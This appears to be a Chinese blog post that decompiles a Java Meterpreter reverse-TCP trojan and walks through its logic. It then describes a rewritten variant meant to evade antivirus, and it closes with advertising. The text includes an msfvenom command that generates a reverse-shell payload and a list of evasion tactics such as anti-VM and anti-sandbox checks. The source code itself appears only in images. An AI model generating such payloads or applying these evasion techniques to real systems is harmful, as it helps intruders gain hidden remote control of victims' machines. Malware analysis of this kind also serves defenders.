手撕metasploit中meterprter木马源码

╰半夏微凉° 2021-07-25 19:32 494阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]

### 前言 ###

自从将CobaltStrike二开之后放在了GITHUB,  
MSF的源码级免杀怎么做的,今天决定带大家手撕metasploit中meterpreter源码。

## 生成meterpreter木马 ##

![在这里插入图片描述][20210521212557663.png]

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 > yanbuguohengyang.jar

### 使用Jd-Gui反编译Jar文件 ###

下载Jd-Gui

https://download.apponic.com/crTvxmk7KUri_YfUJhkmHBXYcZuqbStoYn0kPSXJn4kr1hhFaL4IrWGdr2GIbA7AtEJZOyNuCoTB2v39p-qywhEQwQgvEK1j7wQG4qZJ1Xv3DcJrJG8AHHDL05nArb0CmWEKPODCXLURQryUsOrnccH2p_4m1j8M_52d/

反编译Jar：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]

保存源代码

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]  
解压文件  
![在这里插入图片描述][20210521212807856.png]

### 分析源码 ###

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]

马儿开局声明了几个全局变量
    1.判断当前的操作系统
    2.获取当前系统的路径分割符
    3.判断系统是否基于unix内核
    4.判断路径分隔符是否是 “;”
    5.获取Jdk的安装目录

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]

1.创建IO流读取配置文件  
2.获取配置文件中Executable字段  
如果字段不为空  
1.获取系统一定存在的系统路径  
2.在一定存在的系统路径下创建 “~spawnxxxx.tmp.dir”文件  
3.在创建的dir下创建一个文件名为 配置文件中key为Executable的目录  
4.调用方法传入1.反射获取到的Payload对象,2.Executable的值,3.创建的文件 (内部将Executable的值写入到创建到的新文件下)  
5.删除配置文件中的Executable  
6.配置文件写入DroppedExecutable值为新创建的值的不同操作系统的绝对路径  
此代码Executable字段为空，不去执行判断内容

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]

配置文件内容如上图所示  
1.spawn值下文阐述  
2.LHOST为回连地址  
3.LPORT为回连端口

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 7]

1.获取spawn值内容  
如果spawn值大于0则  
1.将Spawn减去1重新赋值给配置文件的Spawn  
2.获取当前系统临时路径.dir  
3.将此文件(也就是木马文件)写入系统临时路径  
4.将获取到的jdk路径运行被重新写入的马儿路径(此过程为spawn路径-1的过程)

如果spawn值不大于0则  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 8]

1.读取配置文件的回连地址  
2.读取配置文件的端口  
3.如果端口小于0的情况此处不做赘述  
4.如果端口不小于0则与获取到的回连地址与端口建立Socket连接  
5.建立连接后使用IO流获取服务端返回结果  
6.调用bootstrap()函数  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 9]

1.使用IO流获取服务端返回内容  
2.判断paramString是否为空(上文可知为空，所以为空的逻辑不做阐述)  
3.通过反射找到javapayload.stage.  
4.将反射获取到的类采用反射invoke函数执行  
5.定义trycatch捕获异常抛出  
以上为MSF木马源码逻辑总线,其余函数为辅助主线完成函数

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 10]

其中包括  
1.寻找临时文件绝对路径  
2.寻找Jdk的路径  
3.针对不同系统对路径分割符号的替换  
但是这些都不重要。

### 如何做到源码级免杀 ###

通过以上对MSF木马的刨析，可以看出MSF采用木马三次加载(根据spawn的值决定)最后释放恶意代码,但是若如此做的目的我尚且不详，  
可能是为了起到免杀的作用.  
还有就是这个马儿的通用性,它可以在不同的类型的操作系统上线是因为其中很多东西都做了动态处理，  
如路径分隔符，jdk的动态查找等。

了解了以上几点内容最终分享一个源码级免杀的案例吧  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 11]

代码中我去除了很多马儿的原有逻辑,如上文提到的兼容性等问题，循环加载等问题。  
1.直接建立socket连接  
2.直接将服务端的数据加载  
3.不再从配置文件读取回连地址端口，硬编码写死  
如此做保留了建立连接的关键性代码，做到了客户端和服务端的对接。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 12]

关于免杀  
我一直认为源码级免杀是比shellcode的免杀要好做的，这其中的原因是因为源码级免杀牵扯很多api，杀软大多数只能通过木马特征来查杀，但是shellcode的免杀加载器所遇到的api，申请内存空间，创建线程运行等函数已经被列入高危函数，可免杀的发展空间并无源码级免杀发展的空间大。  
1.这个客户端的免杀率我一年多前上传的时候是vt都过了的，现在我懒得上传了，大家自行研究吧。这篇文章是我继《Cobaltstrike免杀从源码级到落地思维转变》出的前文，原因是因为很多人看了那篇文章后让我出一个分析msf的文章做衔接。  
2.还有些人问我免杀很好过，但是始终存在一个问题就是免杀的木马在相对时间过后无法免杀的问题，这其实就引申出来免杀平台的作用。杀软是一套程序，是程序就有自己的运行逻辑，如果我们掌握这种规律并且自己的逻辑在杀软逻辑之上的话，那么杀软只能追着免杀平台生成的木马封,永远都无法追上。具体的实现逻辑我不能说，大家体会吧……hahahaha  
但是可以分为以下两点  
1.shelcode的免杀,shellcode的随机性  
2.加载器的免杀,加载器的随机性  
3.反虚拟机,反虚拟机的红队调试  
4.反沙箱,反沙箱的分析

--------------------

QQ 1274510382  
Wechat JNZ\_aming  
商业联盟 QQ群538250800  
技术搞事 QQ群599020441  
解决方案 QQ群152889761  
加入我们 QQ群649347320  
共享学习 QQ群674240731  
纪年科技aming

网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

叮叮叮：产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司  
民生项目：商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/  
安全项目：态势感知防御系统/内网巡查系统  
云服项目：动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing  
产品咨询/服务售后（同）

## 纸上得来终觉浅,绝知此事要躬行 ！！！   寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式！! ##

--------------------

#### \#本文为广告系统自动投放广告 ####

#### \# 如有侵权 删改 请速速联系我们 ####

外包接单 程序代写

QQ群 ： 678653112

手机淘宝 扫描 淘宝店铺 ：![在这里插入图片描述][20210519210015646.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]: /images/20210725/35994ab6c1e04ee792842e888d899a8a.png
[20210521212557663.png]: /images/20210725/a427900c37534a0ea9be71a3ef1c974f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]: /images/20210725/8ee7abce50964d048c21c7f884974c91.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]: /images/20210725/9104671159474c69a900aa5c19bf930b.png
[20210521212807856.png]: /images/20210725/1f73f66b390049e1a80d7db96db9df88.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]: /images/20210725/e92971b3b2a144ba8db7bdc073e8e0b4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]: /images/20210725/d3b92a577e534989ba6b531a217e0ae3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]: /images/20210725/abe0b871354d48a38318c09c0506b33e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]: /images/20210725/6df632d641ee43ae9bb6731491133322.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 7]: /images/20210725/bf4d54bd190e4a6fa0d7dbc7f222acb2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 8]: /images/20210725/bcc4d58fa0b04fb3b385428793e4842a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 9]: /images/20210725/d45386ff08644d7f845fd34ae212e207.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 10]: /images/20210725/3d8c538fcfea41bb8bb8eea968c08d63.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 11]: /images/20210725/206616aed73540c1a331415c122d3855.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 12]: /images/20210725/29a8764705f049bf850d920d9ac6021a.png
[20210519210015646.png]: /images/20210725/e3f79fc59d674fe0930fab98ed5eb913.png